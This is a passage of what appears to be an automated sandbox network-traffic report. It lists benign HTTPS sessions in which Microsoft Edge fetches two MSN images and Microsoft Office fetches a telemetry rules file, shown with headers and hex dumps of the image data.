8hnfiU,%m*+c9`@b8_-u.~Eq_U#fKxYE"Bwv'j.7OTFg(MXz:y$?8%+-CPB nOd+EIvnC{Xn17xB^'SJVhSzVgbI=-Y8,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.5	49879	23.200.3.13	443	3620	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:38 UTC	634	OUT	GET /tenant/amp/entityid/BB1msyCF.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 00:14:39 UTC	521	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msyCF Last-Modified: Wed, 20 Nov 2024 22:00:24 GMT X-Source-Length: 131943 X-Datacenter: westus X-ActivityId: 476807c7-d5cd-4361-bc22-3d8a58687911 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 131943 Cache-Control: public, max-age=251148 Expires: Mon, 25 Nov 2024 22:00:27 GMT Date: Sat, 23 Nov 2024 00:14:39 GMT Connection: close
2024-11-23 00:14:39 UTC	15863	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-23 00:14:39 UTC	16384	IN	Data Raw: 8d 84 d6 19 f7 08 b6 94 84 aa 46 20 64 30 e5 46 36 34 64 de ba 85 d0 a7 2d 99 fb 43 05 4b 1a 40 12 09 3c 39 b3 60 93 3a 68 29 24 52 36 d1 f6 84 a6 14 b3 96 ed bc f3 e0 eb 08 59 64 21 65 46 3e d8 01 3f 6d ae 0a b4 ad 70 b5 53 2a 90 00 65 2a fa 13 2a 06 a4 88 92 79 d6 93 c2 61 84 ab c6 ec f6 06 55 f7 ee 73 9e 83 18 8b 12 25 3a 0e f0 72 0d b6 ed 23 d4 52 b5 a4 8c 09 92 29 89 c8 4f 16 35 b4 95 a5 6a 4c a4 03 f8 7c d9 45 2a 28 81 95 49 25 52 67 90 19 73 69 be 3c 01 12 37 91 71 51 38 d0 7d 21 46 0d 49 12 63 73 68 20 69 03 d3 b6 01 20 9c c1 19 ec f2 da c3 4a 54 81 21 32 aa c2 cd 04 71 8c b9 93 c1 c0 a4 76 41 52 77 d4 66 77 63 e6 e6 91 76 14 bb 8a 82 45 c4 ec 99 3c 68 32 ae 4c 74 eb b9 a4 2a 15 8c d6 46 d9 e0 d3 66 cd a5 29 52 a2 52 64 18 1a 44 73 33 9c 3d a4 80 Data Ascii: F d0F64d-CK@<9`:h)$R6Yd!eF>?mpSeyaUs%:r#R)O5jL\|E(I%Rgsi<7qQ8}!FIcsh i JT!2qvARwfwcvE<h2Lt*Ff)RRdDs3=
2024-11-23 00:14:39 UTC	1968	IN	Data Raw: 1b e1 fc cb d6 58 00 6b a8 df 3e 7f 26 72 7f 51 bc 14 b5 03 55 c6 a9 13 1a 44 53 e4 e9 77 3a a0 d2 7b f8 70 1d a0 0e d1 2f 02 c7 ea 29 f4 d3 ea fd 46 6a 39 c0 90 f6 7a 75 6a b4 93 43 cb 27 a2 92 7b 0a a9 04 ba 87 41 69 2b 28 9e d0 00 91 b8 cf d9 b1 b1 10 87 6e 4f 9a 02 2f 9c e1 dc 34 51 08 7c e6 f9 a0 21 0f a1 b2 1f 43 43 20 e2 b5 04 24 a8 cd 36 54 9e 4d cf 2b ae 55 c4 59 ff 00 19 09 24 c1 51 c0 31 2b 92 41 67 99 ea 7a be 94 dc 50 28 5d d3 cd 54 dc 04 80 1e 5a ee f5 b7 4c 8b 82 ca 70 48 a4 0e 03 bc b5 9f 56 e9 29 b2 90 94 83 f5 1f bf da 4b 8f e4 55 9d cb de fc 48 7d 72 9c 62 6b 18 75 69 7d 58 cf 53 ac 23 41 ea 69 b4 67 e7 00 f8 b2 ed 7e 6a d9 d4 8e a4 93 b0 93 07 cc a8 30 07 4d d1 83 07 a8 ff 00 52 7e cc e4 f4 5d 39 fa 7a 88 e2 83 f3 0e 3e 62 f7 46 ea 0b Data Ascii: Xk>&rQUDSw:{p/)Fj9zujC'{Ai+(nO/4Q\|!CC $6TM+UY$Q1+AgzP(]TZLpHV)KUH}rbkui}XS#Aig~j0MR~]9z>bF
2024-11-23 00:14:39 UTC	16384	IN	Data Raw: 3a ed 99 c0 ec d9 30 f0 d2 9f 37 e4 01 f7 6f ad 33 a2 e2 4f ed 05 3b 06 da 49 c5 f9 db b7 55 1a 54 6a a8 26 3e 12 79 7c d9 eb b6 17 01 37 50 23 15 83 3e 61 d2 ad 5d 44 9b 96 f5 85 7c 69 32 39 c2 66 bb de d1 d3 1e 97 e8 c8 69 9e 7b 0c 4e e8 0d c9 b7 89 a7 be cc 78 33 f4 80 63 54 11 81 83 1e 7f 36 eb 76 6e d7 4a 24 2b e3 51 20 7f 0e 7e 0f a3 51 9d 19 4b 54 01 45 2b 60 a8 4c 6d 8c cb 60 4a 7e 28 9c 53 94 6e c5 ee dc b0 a1 1a 8a 13 ab 7e ad 98 81 df 56 09 42 50 47 f9 ce 98 83 d9 26 b3 84 d7 c1 ca 92 65 69 7d 0a 16 82 23 b3 04 d7 51 23 b8 e5 39 66 c7 32 12 4c a4 73 51 cf 61 a9 2e 93 79 12 90 6b 2a 33 33 99 dd 40 7e 6e ee 20 18 82 73 56 7f 6d fc 72 6c 42 35 29 52 01 39 52 29 58 ae f8 64 f4 ca 36 ee 42 89 92 37 8f 1d 83 7c bc e2 7d 38 cc 1d b9 4f 9b db e9 ee 64 Data Ascii: :07o3O;IUTj&>y\|7P#>a]D\|i29fi{Nx3cT6vnJ$+Q ~QKTE+`Lm`J~(Sn~VBPG&ei}#Q#9f2LsQa.yk*33@~n sVmrlB5)R9R)Xd6B7\|}8Od
2024-11-23 00:14:39 UTC	16384	IN	Data Raw: 14 07 f7 52 76 0a 12 7c df a3 e8 2f 21 20 85 aa da 7b 55 49 30 40 23 34 d0 c4 41 ac bf 0e 01 d3 53 3b a6 83 07 a3 67 a7 50 04 cc ea c4 c4 0e 06 6a f3 9c a9 02 3d 77 5e b0 ab 5d 2e 82 16 74 99 12 09 c9 39 bf 3a 24 1a 98 3b 23 2f 1c f7 32 54 ab 76 e8 a5 00 7b f8 06 04 dd 27 b2 9b 6a 1f cd 52 39 cb e7 f9 8e b6 4b df 89 a6 95 e2 1e 14 41 05 06 53 8e a3 2a 23 65 3e cc b2 a4 03 5a 03 84 cf 7b f3 b7 12 11 1a 53 07 3f aa 9c a3 bd 87 db 24 82 48 31 13 bd e4 d3 9a bd 54 55 d7 23 d2 2d 08 35 48 41 1c 52 47 38 a3 97 f9 12 04 29 48 fe d3 db 1c 0d 7b 9e 11 ba a4 24 e9 4c 98 cd ad 17 16 10 34 92 15 15 26 b9 d6 03 20 a7 1d dd ad b2 2c 1b c4 dc a4 c7 30 40 ff 00 4d 19 c6 14 91 20 a3 94 cf 98 1e 52 c2 49 0b 01 41 4b 82 27 31 f3 87 28 19 8d 47 f8 c4 f8 2d f5 61 93 b1 b0 17 Data Ascii: Rv\|/! {UI0@#4AS;gPj=w^].t9:$;#/2Tv{'jR9KAS*#e>Z{S?$H1TU#-5HARG8)H{$L4& ,0@M RIAK'1(G-a
2024-11-23 00:14:39 UTC	7952	IN	Data Raw: 8c 9c ea 95 46 dd b8 34 c6 22 a9 39 b1 e4 fc d9 f0 93 49 ab 4a ad 71 e7 1d ee 6d 14 0c 0a 71 c5 99 6c 15 52 32 c2 3c 5c 74 a7 f6 99 dc 59 f6 af a5 39 ca 4f 8b ca 6d d6 11 4b 88 d4 1d 03 2f e1 39 73 13 8f 26 f5 91 70 04 a8 10 45 52 6b 07 6e 5e 0d 42 e2 29 da 0a 13 94 7e 0f b4 a0 a8 fa 6b 8f ed 54 d7 70 9a 1f 78 7c 7c f9 ae 27 4a 78 a0 12 a5 db 5a 4a a1 43 03 8d 69 51 8f 17 a9 d1 ae fe a2 92 46 e3 8a a7 61 70 8b 6b 4c 41 41 34 38 0a 7c 3b b6 e4 dc b4 fa 5a 4e 93 a2 45 49 93 4a 50 cb bd 5c 15 8f 4f 5d 86 c2 d0 48 55 76 7b 86 40 13 8e 9e 25 d2 2f 25 5a 6d c8 13 f4 56 87 97 3d 92 e5 2a 06 a8 03 ff 00 51 23 bd e8 a5 ab 83 39 dc 5a 78 c8 40 49 83 0b 23 7e 7c 2a f8 22 95 51 57 30 3d c3 b4 28 1a 65 8f d6 83 3f ea 0e 5a ce 7a 6d e9 db a8 13 fe d4 3c 5d 94 84 94 61 Data Ascii: F4"9IJqmqlR2<\tY9OmK/9s&pERkn^B)~kTpx\|\|'JxZJCiQFapkLAA48\|;ZNEIJP\O]HUv{@%/%ZmV=Q#9Zx@I#~\|"QW0=(e?Zzm<]a
2024-11-23 00:14:39 UTC	16384	IN	Data Raw: d5 cd 61 35 1a 88 92 90 2b bf 2a 39 cb 5b ba 1d f0 0e eb ae 5b 28 d4 0a 89 06 00 d2 00 f0 98 f2 79 29 be 85 24 a4 85 02 33 8c b6 98 a1 c3 37 7d 55 d2 94 47 ee 38 ec db 57 88 56 b2 20 82 a8 20 1e 5c 0b a4 9d 09 9e 81 37 6c d9 fa 46 a5 18 00 ea 27 85 00 6d 55 c3 73 13 ca 68 07 0d 9b de 28 d1 9d 6b 58 93 00 ee 34 74 9b a9 ce 23 31 cc cb 56 fa 36 20 cb 97 14 92 21 47 bd aa dd d5 15 09 3b 7c 7c db cf a7 42 a4 a8 d3 68 ae df 63 bf cc a2 dd 12 80 37 40 1e 79 97 b6 a8 d6 d6 2a e2 44 ad 49 4a 64 1a c9 33 b8 e0 e5 6e ee 90 4e dd a7 2e 4d 17 2e ea 01 54 93 41 8f 96 c6 ad 29 d2 0e a0 27 c2 1b 4e 2d 67 02 63 2e df 59 a6 a8 1b bb 8b d1 e9 08 16 cc c6 67 1f b0 9f 17 87 ea 00 0d 72 1b 1a 2d de 83 a6 84 01 b3 66 34 dc c7 95 49 07 3b 36 6e 75 0a 04 46 fc 4c 89 c3 c9 90 8b Data Ascii: a5+9[[(y)$37}UG8WV \7lF'mUsh(kX4t#1V6 !G;\|\|Bhc7@yDIJd3nN.M.TA)'N-gc.Ygr-f4I;6nuFL
2024-11-23 00:14:39 UTC	16384	IN	Data Raw: 71 52 4c 48 49 29 c1 d2 94 55 41 90 48 8f c1 e7 b9 42 4a 84 e2 07 9b b6 81 38 89 c7 9b 66 15 0e 80 78 e7 3b b2 6c c2 47 93 52 54 98 c9 c8 94 8a 81 43 8b cc 09 0d be 02 9e 45 ae 46 d8 8c 47 cd ac 95 53 38 3c 5c 44 9c 6a dd 0c 74 8e 6e 68 ce 30 63 12 46 79 ee 75 aa 4b 28 03 0a 13 32 33 d8 e3 0a 06 94 db 3d ce 27 30 73 f7 e4 fb 54 97 34 05 98 19 2a ae 60 1c 61 a8 03 95 3c 9d c2 85 63 26 c6 71 80 7e 6e 52 d7 ae 43 8c b7 42 0e 42 a0 e6 de a0 15 cc 7b e4 c0 06 5b c2 88 34 97 35 90 23 e9 94 55 ac a7 63 2b 23 4f 7d cd 6b e5 9f bc 36 98 10 49 36 d4 14 92 64 78 37 7a ab 22 0a 89 00 ea 01 89 57 34 98 ee 74 d0 59 ea 6d df 55 d4 05 64 64 cc 08 a0 c0 61 bf 6b 70 57 4e 91 f4 9c aa 75 56 77 f6 bc 1e 05 b5 a9 16 a9 31 ac 19 c1 92 56 9b 97 92 8f 85 58 e5 5f b3 cd 60 b2 2b Data Ascii: qRLHI)UAHBJ8fx;lGRTCEFGS8<\Djtnh0cFyuK(23='0sT4*`a<c&q~nRCBB{[45#Uc+#O}k6I6dx7z"W4tYmUddakpWNuVw1VX_`+
2024-11-23 00:14:39 UTC	7952	IN	Data Raw: 54 59 24 27 4d b8 a4 04 d7 e6 03 09 5f a9 5c 51 85 5c 57 70 3b b3 63 e8 b2 9a 90 0f 3d 55 f2 76 2e db 98 09 a6 c2 91 1e 66 1a 5d be df 2e dd fb f1 b0 b9 3e 64 0d e0 aa a4 a8 ce d5 4d 7b df 24 f5 0a 3f 4a 8e d8 fa 48 df 25 e9 a4 53 b2 84 c6 d0 a1 a7 b9 5e 0d fa 16 71 03 70 9a 71 a3 3e 62 8f 28 af 1f e8 54 c4 7e 62 fd b4 56 e1 48 03 e8 4a 8c c7 21 40 f2 55 d6 6a 9d 4a 52 e7 e1 a9 3f d5 5f 93 d4 36 8e a9 5a b0 c2 9e 0a 9f 36 15 cf cb 83 a7 44 2b 31 04 ed 64 34 5f e5 b7 bd a4 86 ef a9 99 74 a9 30 53 49 dc 08 31 94 e7 5c 4c b0 ca c9 8e c0 9c 49 18 f0 c9 ec 84 ea 10 91 3f dc 0e 52 36 38 9e 98 a6 b0 39 e3 c6 68 5f 5a 9c 56 1e e6 54 62 6b bc 0e 66 3c 1c 00 ba b5 13 52 66 a4 d7 3c ab 83 d8 2b 13 92 60 91 59 15 dd 88 cf 6b 52 ae 50 e9 ec a8 13 31 5e 53 ec 7a ea ff Data Ascii: TY$'M_\Q\Wp;c=Uv.f].>dM{$?JH%S^qpq>b(T~bVHJ!@UjJR?_6Z6D+1d4_t0SI1\LI?R689h_ZVTbkf<Rf<+`YkRP1^Sz
2024-11-23 00:14:39 UTC	16288	IN	Data Raw: 02 89 1d ef 0d 2e f0 00 e6 c5 d4 d0 8c f7 87 c9 46 c8 d9 1f 3d 8d be b2 ee 11 5a 52 06 19 32 ca 8a 4d 53 98 26 45 7c e1 eb a9 ad e8 00 0d b2 7e 9a 56 22 73 e5 ed 71 28 52 7e 20 63 30 2b 1c 59 02 e9 51 09 a0 c2 7d c5 1d 69 52 0a ab 22 0d 46 3c c3 76 f9 88 08 ce d7 23 50 30 f7 c5 cd 48 cc 8a ee c6 18 a6 b8 47 37 a8 12 21 2f 86 ac 1d 4f 1f 7d ce 24 b6 01 12 b0 76 53 df 6b b9 48 ce a4 ec fb e0 f8 2f 0d dc 8b 44 0c 48 68 0a cc e2 e4 01 06 32 e6 d9 0a 02 82 9b dc 90 89 35 ec f3 60 0d 4e 9d 24 c5 71 cf 63 1d 24 ea 3c 99 8b 54 76 45 1c 52 35 6e cc 63 83 81 85 db 29 89 56 c1 1e c6 a3 7b 3e c8 8c a5 b5 48 ec a4 26 b2 04 9e fc b6 31 08 19 04 9a 52 38 d4 d6 5c 2a 63 22 2e 95 28 19 8f 7d c1 b0 e9 09 a9 ac e5 53 ab 63 a8 4a 6a 47 0c a8 da 02 94 0e 91 25 55 93 1e 5b 9d Data Ascii: .F=ZR2MS&E\|~V"sq(R~ c0+YQ}iR"F<v#P0HG7!/O}$vSkH/DHh25`N$qc$<TvER5nc)V{>H&1R8\*c".(}ScJjG%U[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.5	49880	23.200.3.13	443	3620	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:38 UTC	634	OUT	GET /tenant/amp/entityid/BB1msG0W.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 00:14:39 UTC	520	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sun, 10 Nov 2024 11:08:13 GMT X-Datacenter: northeu X-ActivityId: 01e23b13-0c41-4720-81b8-4b40bbbf8b50 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msG0W X-Source-Length: 87332 Content-Length: 87332 Cache-Control: public, max-age=125735 Expires: Sun, 24 Nov 2024 11:10:14 GMT Date: Sat, 23 Nov 2024 00:14:39 GMT Connection: close
2024-11-23 00:14:39 UTC	15864	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-23 00:14:39 UTC	16384	IN	Data Raw: 41 c5 0f 56 17 26 a2 a5 49 f1 2f 75 d9 17 5a 7b c7 aa 3a c4 4c 82 b8 92 a5 48 e2 3d d7 6b a8 de 28 ab 07 62 b8 d5 a7 52 5c 15 ee bb 55 29 52 e3 f5 0f 14 62 eb 92 e2 bf 76 1d 6a 93 a9 72 fa a5 3e a1 e2 97 13 f7 61 d4 a8 a2 a9 72 ba 87 8a 9d 44 71 57 bb 0e ad 65 4a ca e6 9b b2 87 a8 ee 25 2e 27 ee c3 a7 59 52 b2 b9 a2 e1 08 fa a1 1c 4f dc f9 6e ea 14 eb 58 3a 81 17 50 71 4f 8f c0 e7 f2 db 5a 95 ac 95 8e 2a 56 12 af 85 73 f9 6b ea 15 2b 59 6a 09 56 38 84 ab e0 f9 fc b5 d6 a5 6b 25 61 4a c2 28 b9 b5 56 53 ac ac b5 21 ad 14 7c 9b 2b 4e b5 ce 2f 29 03 e3 f9 a7 47 19 4e 8e 85 68 ab 5c 8a cc c3 79 bf 25 a4 38 01 99 2e ee 36 01 44 ce 30 d6 23 29 dd be b5 2b 58 58 5c f7 86 34 4c e4 9d c3 47 13 dd 6b b8 d6 31 c1 a1 ff 00 1c 19 f4 f1 ec 95 e3 74 38 e5 31 6b 6b 2a 56 Data Ascii: AV&I/uZ{:LH=k(bR\U)Rbvjr>arDqWeJ%.'YROnX:PqOZVsk+YjV8k%aJ(VS!\|+N/)GNh\y%8.6D0#)+XX\4LGk1t81kkV
2024-11-23 00:14:39 UTC	2148	IN	Data Raw: 39 c2 ef fb 4d cf f9 2d 81 8a 84 66 70 bd 25 fd 1d ab cd a5 cc 6c 0d bc 3d 16 4b 5a 0b 3a 56 b8 db 6c 38 b4 89 24 9f c0 4b 1c 67 1c ac 65 31 38 d7 77 84 be f7 39 ef 24 48 2e 3e 00 99 31 3f 88 2b d3 db bc 47 b5 3b 06 a0 d7 33 e7 e0 38 1c af 23 79 ee 1c b3 3c 62 63 1b 0e 18 f0 5e a3 db d8 db ba 40 c7 49 04 b8 9c f8 f6 e0 a3 0d f2 cb d2 4f 39 e3 11 eb 0d 3a 36 58 d6 e9 ad b2 ec 12 c9 03 39 86 91 f5 d8 80 bb 54 da d0 e9 9f d3 11 4b 4d 24 e7 3d b7 5e 12 d5 df db 5f 75 c6 e0 36 b0 07 ac c4 ef fe 61 76 4e a8 bf db 8c 46 5e fb 64 e4 6f cd 38 3e 3f a8 c2 b8 ca 3e f5 fd 8a 62 63 d3 ff 00 ae 46 b3 55 d7 be cb 8e 30 43 18 4e 24 d4 d0 0e 27 10 4e 76 5b fd d2 ff 00 56 e3 4f 60 cd b8 12 b9 4d a4 1b 75 09 d8 c7 01 dc ed 2b 67 b8 b6 9b bc a3 96 91 49 de 64 7e 6b 3e d9 7a Data Ascii: 9M-fp%l=KZ:Vl8$Kge18w9$H.>1?+G;38#y<bc^@IO9:6X9TKM$=^_u6avNF^do8>?>bcFU0CN$'Nv[VO`Mu+gId~k>z
2024-11-23 00:14:39 UTC	16384	IN	Data Raw: 1f b2 24 f0 2a dd 6d e0 2e 1a 4c 40 21 b8 39 ef be c0 6d f1 5c 6a 83 83 6e 03 2e 73 5c d2 3b f2 9e 3e 32 b4 99 de 58 46 d1 0b 5d ff 00 1d 98 11 51 9e dd 8c ce c0 67 30 b5 1b c5 c2 f5 3f e9 df f4 ff 00 29 b6 d3 af e9 2a 18 e8 8c 18 f3 11 b8 e2 21 b2 73 dd 72 b4 d2 2e 3a 60 d2 46 d9 1b 1f 1c e4 a8 95 ee b2 e5 83 43 03 89 a9 f3 50 c7 2c 1c 1f 86 e8 5f 36 ed 3c 02 69 a8 36 a8 8a a3 c2 61 7a 06 59 ea 33 4f a8 73 83 9b 75 ef b5 4f ea a9 ac 9a a3 86 21 4b de d4 cb 9e 47 b9 b2 66 3b 27 8c 72 8b 84 e5 3c 72 df 6d 9c 3d 13 4d b7 17 38 37 23 0e 74 f1 dd b1 df 82 bb 45 6e d3 c5 cb af 7b 8b ad bc 40 dc 3a 78 cb 7c 17 47 51 a2 a7 a6 03 e9 37 6a 6b 49 ed 03 3c 37 d8 2e 5b ad f4 00 b6 d3 2e 1c a6 27 ed 6e 7f f2 84 ea 8a 26 e1 ba f5 e0 c6 d9 0d 93 51 ef 1d 8c 0f af 74 44 Data Ascii: $m.L@!9m\jn.s\;>2XF]Qg0?)!sr.:`FCP,_6<i6azY3OsuO!KGf;'r<rm=M87#tEn{@:x\|GQ7jkI<7.[.'n&QtD
2024-11-23 00:14:39 UTC	16384	IN	Data Raw: 3b 2e fe 86 ed ce 8d c8 0e 77 38 0c 02 24 e7 23 80 9c 99 ff 00 75 ca f7 29 6d cb 6d 68 14 35 81 8d 70 02 93 de 4c 72 b4 c7 36 fb 39 6b d1 8b 6e 6d 0f 73 1b 6d a0 f3 09 82 48 34 80 c0 e0 4f 78 26 4c 9e e5 65 0b de 26 9d 8d 7d a0 6c 31 96 5a 45 34 e0 39 c0 07 3a 72 39 aa 2c 02 65 d1 bc 60 2f 1a 19 7e dd ca 6f 36 e3 0b a6 6a 04 4e 47 36 60 76 f5 ca f6 8f 7b ae 59 b7 55 de 88 73 88 bb 73 7b b3 6c 0a 5e 36 2d 2e 9c 6c 18 d0 27 65 eb f4 cf 66 a3 4f 6d e2 08 73 7b 89 f8 ef 9e 3e 28 c5 5e 48 ba f4 7c ea f5 d1 72 cd b7 44 3d ef 2c 74 6f 92 03 72 37 c3 49 1c 30 51 1b 8d 75 e8 cd 21 85 c0 d4 49 34 b7 cd 9c 97 76 f4 ec bd f3 f4 5a 67 64 d9 b7 bc e1 b0 67 c0 88 3e bc 57 39 de d5 a4 79 91 6e 98 69 6e 0c 82 3c 43 a7 3f 82 b5 a6 37 4f 14 da 5f a8 37 40 69 65 ba 00 a8 45 Data Ascii: ;.w8$#u)mmh5pLr69knmsmH4Ox&Le&}l1ZE49:r9,e`/~o6jNG6`v{YUss{l^6-.l'efOms{>(^H\|rD=,tor7I0Qu!I4vZgdg>W9ynin<C?7O_7@ieE
2024-11-23 00:14:39 UTC	7952	IN	Data Raw: 95 cf e4 96 de 3d 1c d9 75 55 b4 c3 9a 49 2e 18 87 4e e2 3b cf 05 f6 0d 33 c3 ec db 21 fd 4e 51 cd dc 98 cc f8 ce fe 2b e7 ac f6 d1 76 d3 1c 0b aa 70 f2 48 a8 ba 4e 4f 80 11 27 c2 22 4a f7 b6 22 de 9e dd 51 53 58 d0 ea 66 24 0f e9 13 f2 53 e2 89 8b 69 e4 ec af 5c 5c 19 38 a7 b8 ce 79 86 30 72 08 3e ab 76 94 f5 2d b2 93 5e 37 12 47 d0 90 0c 2f 2d a9 ba db 97 0d 73 20 4c 36 79 43 79 b6 25 a4 ed 24 9e 11 0b d2 7b 65 db 7f b7 86 39 a4 c9 26 05 3b 9d c8 18 f0 31 85 a5 ef 29 ec e9 f4 8f 72 02 ca d7 55 71 cc e1 b1 91 07 d2 37 57 dc b9 0d 26 7f 3f bb 2b cd 36 f3 6d 5c ad ef aa 24 12 1b b9 e0 48 18 a4 76 8d b2 ae 66 4b 66 8d 75 ea 00 87 5b 20 f7 90 69 20 ee 44 83 4f 63 07 13 95 e3 03 eb 78 6b 1c 61 d7 5b 54 62 09 fb 2e 35 13 89 cb bb f6 5d 2f 74 bd 6e e3 83 ec dc Data Ascii: =uUI.N;3!NQ+vpHNO'"J"QSXf$Si\\8y0r>v-^7G/-s L6yCy%${e9&;1)rUq7W&?+6m\$HvfKfu[ i DOcxka[Tb.5]/tn
2024-11-23 00:14:39 UTC	12216	IN	Data Raw: 98 95 e8 68 b6 eb b6 de 2b 74 10 5e e7 00 03 bc b0 e8 9e 59 c9 6f 7d c0 88 46 6d ea 03 dd c8 74 f6 f9 9d 2c a6 e8 26 70 5b 37 04 97 76 c9 f4 90 8c a5 b6 38 e8 3d 3d d1 72 28 b9 43 5a d2 1f a9 0d a5 c1 c5 b8 04 92 e6 b8 c4 72 01 1b 49 19 5e 67 5b 41 a1 8f be 5f 71 84 08 b9 6a 1c 1b 93 cd 93 81 f6 24 0c ae b4 30 69 e3 24 32 e0 7b b2 de a5 cd e1 c4 09 2c a4 6c 24 f7 55 bf db 5b 75 b7 1f 6e cb 9e 5b fd db 85 d7 5a 4b 83 8c 82 20 12 d0 40 74 83 df ba c3 bb a7 2f e2 3d 2f 51 cc 73 2d d4 e9 0e e9 9e 9b 58 eb ac fd 61 ae 24 16 b0 4e 33 e8 b1 35 b4 5e 0d 73 5b 70 b3 fb 6e 68 27 98 87 10 1d 38 18 04 01 9d b7 28 4d cf ec b6 5c 6d 93 04 96 90 5d b8 14 37 1d bb 97 13 b2 b9 97 1c 2e 65 a7 9c 5c 20 4c 07 54 25 a0 87 02 25 b8 a8 08 90 42 d9 cd 72 ae fd c3 0f b8 5d 50 27 Data Ascii: h+t^Yo}Fmt,&p[7v8==r(CZrI^g[A_qj$0i$2{,l$U[un[ZK @t/=/Qs-Xa$N35^s[pnh'8(M\m]7.e\ LT%%Br]P'

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.5	49877	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:39 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 00:14:39 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:39 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 8b9ec706-101e-000b-544c-3c5e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T001439Z-15b8b599d88wk8w4hC1TEB14b800000002a0000000000ksr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
